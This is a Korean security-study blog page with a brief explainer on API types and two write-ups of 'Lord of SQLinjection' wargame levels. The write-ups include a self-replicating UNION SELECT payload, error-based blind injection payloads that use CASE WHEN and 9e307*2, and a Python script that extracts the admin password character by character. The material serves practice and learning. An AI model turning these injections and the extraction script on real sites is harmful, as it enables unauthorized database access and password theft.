전체 글
- VSCODE 에서 BASH 터미널 (리눅스 터미널) 사용법 2023.07.07
- API 이해 2023.07.06
- [LOS] step30. ouroboros 풀이 2023.07.05
- [LOS] step28. FRANKENSTEIN 풀이 2023.07.03
VSCODE 에서 BASH 터미널 (리눅스 터미널) 사용법
API 이해
API란?
어떤 서버의 특정한 부분에 접속하여 그 안에 있는 데이터와 서비스를 이용할 수 있도록 하는 SW 도구
진단하면서 느낀 건 모바일 앱 통신에서는 많이 API를 사용하고 있었음
API의 역할은?
서버와 DB 간 연결 통로
모바일 앱과 단말기 간 데이터를 원활하게 주고 받도록 하는 역할
접속 표준화를 위해 단말기 , 운영체제 상관없이 동일한 액세스 (범용)
API 유형은?
1) private API
회사내부용, 회사 내부 자체 제품이나 서비스 간 통신 담당
2) public API
모두에게 공개되는 API
3) partner API
특정 대상에게만 공유되는, 고객사 간 공유되는 API
API를 왜 사용할까?
private API를 사용할 경우, 애플리케이션 코드를 표준화할 수 있어서 간략하고 빠른 처리 가능
데이터 공유 쉬워짐
URI를 통하여 서버로 접근
API 방식 종류는?
1) REST 방식의 API
네트워크를 이용하여 URI와 HTTP 프로토콜을 기반으로 PC 간 통신할 수 있도록 하는 아키텍처 스타일
데이터 포맷 : JSON (왜? 브라우저 간 호환성이 좋음..)
2)SOAP API
SOAP는 프로토콜이며, 보안이나 메시지 전송 등에 있어서 REST 방식보다 복잡함
보안 수준이 엄격하여 웹 서비스에서는 잘 사용하지 않고 기업용 어플리케이션 작업시 주로 사용됨
서비스 인터페이스를 이용하여 서버로 접근
API 응답값 예시
이런식으로 HTTP 헤더와 json 조합
참고
API란? 비개발자가 알기 쉽게 설명해드립니다! - wishket
여러분은 API가 무엇인지 알고 계신가요? 자주 듣지만 그 개념이 무엇인지 정확하게 알기 쉽지 않은데요. 이번 시간 위시켓이 API란 무엇인지 알기 쉽게 설명해드리고자 합니다.
blog.wishket.com
개발해보자..
'WEB' 카테고리의 다른 글
오토 스케일링(Auto Scaling)과 클러스터링(Clustering) (0) | 2023.08.30 |
---|---|
CSTI XSS (0) | 2023.08.26 |
OWASP TOP 10 참고링크 (0) | 2023.06.09 |
톰캣 보안 조치 (0) | 2023.05.25 |
웹해킹 테스트 게시판 만들기 - 2 (0) | 2023.05.24 |
[LOS] step30. ouroboros 풀이
이 문제는 어려워서 라업을 보고 시작했다..
일단 핵심은 저 부분. 바로 입력값과 결과값이 동일하게 만들어야 한다.. 함수들이 들어간다고 하면 해당 함수들이 다시 살아나야 하고 뭐 그런..
함수가 실행되지만 다시 함수를 넣을 수 있는..
정답을 보고도 이해하는 데 시간이 걸렸다. 일단 payload를 먼저 보고 시작하자.
실제 payload는
' union select replace(replace('" union select replace(replace("$",char(34),char(39)),char(36),"$") as pw#',char(34),char(39)),char(36),'" union select replace(replace("$",char(34),char(39)),char(36),"$") as pw#') as pw#
인데, 가장 간단하게 생각하기 위해서는 처음오는 replace 와 그 다음에 오는 replace 두개만 빼고, 나머지 replace는 문자열로 생각해보자.
' union select replace(
replace(' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# ', char(34),char(39) )
,char(36),
' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# '
) as pw#
녹색으로 칠한 부분의 replace 1번
주황색으로 칠한 부분의 replace 2번
이렇게 총 2개의 replace만 실제 함수로 동작하고 해당 함수 안에 또 존재하는 replace들은 싱글쿼터로 감싸진 (밑줄 친 부분) 그냥 문자열이라고 생각하자.
코드로 보면 조금 더 이해하기 쉬울 것이다.
' union select replace(
replace(' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# ', char(34),char(39) )
,char(36),
' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# '
) as pw#
주황색 replace 2번 먼저 풀어보자.
replace(' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# ', char(34),char(39) )
char (34)는 " 이고, char (39)는 ' 이다.
replace(' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# ', char(34),char(39) )
' '로 감싸진 밑줄 친 문자열 : " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw#
에서 " 를 ' 로 변경해보자.
변경후 문자열 : ' union select replace(replace('$',char(34),char(39)),char(36),'$') as pw#
가장 바깥에 있는 녹색 replace에 주황색 replace로 풀어낸 문자열을 대입해보자.
' union select replace(
' ' union select replace(replace('$',char(34),char(39)),char(36),'$') as pw# '
,char(36),
' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# '
) as pw#
char(36)은 $ 이다.
첫번째 인자 문자열에 있는 $ 자리에 " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# 이걸 넣어주면 된다.
$ 자리에 넣은 결과 :
' union select replace(replace(' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw#',char(34),char(39)),char(36),' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# ') as pw#
처음 입력값 :
' union select replace(replace(' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw#',char(34),char(39)),char(36),' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# ') as pw#
둘이 동일해서 문제를 풀 수 있다..
어려워
'WEB > Lord of SQLinjection' 카테고리의 다른 글
[LOS] step32. alien풀이 (0) | 2023.08.30 |
---|---|
[LOS] step31. ZOMBIE 풀이 (0) | 2023.07.11 |
[LOS] step28. FRANKENSTEIN 풀이 (0) | 2023.07.03 |
[LOS] step27. blue_dragon 풀이 (0) | 2023.06.22 |
[LOS] step26. red_dragon 풀이 (0) | 2023.06.22 |
[LOS] step28. FRANKENSTEIN 풀이
필터링 조건은 _ . union ( ) 등을 필터링하고 있으며 addslashes 함수를 통해 pw에 들어가는 입력값에 / / 추가하므로 pw 값 자체를 알아내야 하는 문제이다.
괄호가 필터링 되는 게 제일 큰 문제이다.. 흠
일단, if(), (case when ~) 쓸 수 없고, length(), substr(), ascii()등과 같은 흔한 함수들도 사용할 수 없음.
어쨌든 pw값을 알아야 하기 때문에 pw like 'a%' 'ab%' 이런식으로 한글자씩 찾아야 한다. (left,right,lpad같은 함수도 못 씀)
그럼 조건문은 어떻게 만들 것인가? 처음에는 where절만 써서 하나 싶었는데 힌트를 좀 얻으니 그렇게는 쓸 수 없었다.
보통 case when 문을 사용할 때 위 그림과 같이 사용한다. 하지만 괄호가 필터링된다.
다행히도 mysql에서는 괄호 없이도 case when 구문이 성립된다!!!
문제를 보면,
특이사항으로 쿼리 에러시 error로 출력한다. 왜 다르게 해뒀을까?
정확한 쿼리 > 기본 페이지 출력
부정확한 쿼리 > error 페이지 출력
이를 통해 error based injection을 시도할 수 있다.
부정확한 쿼리 발생을 위해서는 21번 문제를 참고하자.
payload : pw = ' ' or case when 1=1 then 1 else 9e307*2 end # '
1=1 참일 때 1 반환
payload : pw = ' ' or case when 1=2 then 1 else 9e307*2 end # '
1=2 거짓일 때 9e307*2 를 반환하여 쿼리 에러로 에러 페이지를 반환한다.
조건문을 작성했으니, pw를 한글자씩 찾는 쿼리를 만들면 된다.
여기서 문제 발생...
payload : pw = ' ' or case when id='admin' and pw like 'a%' then 1 else 9e307*2 end # '
이런식으로 조건에 id = 'admin' and pw like 'a%' 로 해주었는데.. 계속 안되서 여기서만 몇 분을 할애했다..
문제해결로는 id = 'admin' 조건을 case when 내부에 넣지 말고 case when 밖으로 and로 연결해주었다.
payload : pw = ' ' or id='admin' and case when and pw like 'a%' then 1 else 9e307*2 end # '
자동화코드는 다음과 같다.
#LOS frankenstein
import requests
url ="https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값
pw=''
check = ""
string = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_@-`?$^!"
while 1:
for char in string:
tmp = pw + char+'%' #9% -> 90% -> 902%
#print(tmp)
value = "1' or id='admin' and case when pw like '"+tmp+"' then 1 else 9e307*2 end #".format(char) #injection payload
parmas = {'pw': value}
response = requests.get(url,params=parmas, cookies=cookies)
print(parmas)
#print(response.text)
if ("__FILE__</span>" in response.text):
pw = pw + char
print("payload:", pw)
check = 1
break
__FILE__</span> 코드는 응답값을 찍어본 다음에, 구별할 수 있는 아무 텍스트나 정해서 pw를 찾으면 break 걸도록 해뒀다.
위코드는 따로 pw의 길이를 파악할 수 없기에
더이상 찾지 못하고 string 리스트에 있는 문자를 계속 검색하면 멈추고 pw를 찾아냈다.
어려워
solve!!!!!!
'WEB > Lord of SQLinjection' 카테고리의 다른 글
[LOS] step31. ZOMBIE 풀이 (0) | 2023.07.11 |
---|---|
[LOS] step30. ouroboros 풀이 (0) | 2023.07.05 |
[LOS] step27. blue_dragon 풀이 (0) | 2023.06.22 |
[LOS] step26. red_dragon 풀이 (0) | 2023.06.22 |
[LOS] step25. green_dragon 풀이 (0) | 2023.06.21 |